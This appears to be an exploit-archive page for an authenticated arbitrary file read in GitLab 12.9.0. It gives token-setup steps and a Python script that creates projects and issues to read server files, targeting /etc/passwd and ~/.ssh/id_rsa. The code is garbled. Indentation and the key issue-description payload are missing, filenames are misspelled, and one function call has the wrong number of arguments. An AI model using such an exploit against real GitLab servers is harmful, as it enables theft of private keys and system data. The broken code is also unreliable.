Gitlab 12.9.0 Arbitrary File Read

Gitlab version 12.9.0 authenticated arbitrary file read exploit. A file read vulnerability was previously discovered in this version in May of 2020 by KouroshRZ.

MD5 | 3a88b97ad457af5b8a78720ceabce567

# Exploit Title: Gitlab 12.9.0 - Arbitrary File Read (Authenticated)
# Google Dork: -
# Date: 11/15/2020
# Exploit Author: Jasper Rasenberg
# Vendor Homepage:
# Software Link:
# Version: tested on gitlab version 12.9.0
# Tested on: Kali Linux 2020.3

#You can create as many personal access tokens as you like from your GitLab profile.
# Sign in to GitLab.
# In the upper-right corner, click your avatar and select Settings.
# On the User Settings menu, select Access Tokens.
# Choose a name and optional expiry date for the token.
# Choose the desired scopes.
# Click the Create personal access token button.
# Save the personal access token somewhere safe. If you navigate away or refresh your page, and you did not save the token, you must create a new one.


# pip3 install gitlab
# pip3 install requests
# Use a client cert to verify SSL or set to False

import os
import requests
import json
from time import sleep
from gitlab import *

session = requests.Session()
session.verify = f'{os.getcwd()}/<cert.pem>' # or set session.verify = False

host = ''

def exploit(projectName, issueTitle, files, token):

gl = Gitlab(host, private_token=token, session=session)
p1 = gl.projects.create({'name': f"{projectName}-1"})
p2 = gl.projects.create({'name': f"{projectName}-2"})

for i, f in enumerate(files):
stripped_f = f.rstrip('\n')
issue = p1.issues.create({ \
'title': f"{issueTitle}-{i}",
'description': \
except Exception as e:

if __name__ == "__main__":

write_files = ['/etc/passwd', '~/.ssh/id_rsa']
with open('senstive_files', 'w') as sens:
for file in write_files:

files = list(open('sensitive_files', 'r'))
exploit('project-1', 'issue-1', files)

Related Posts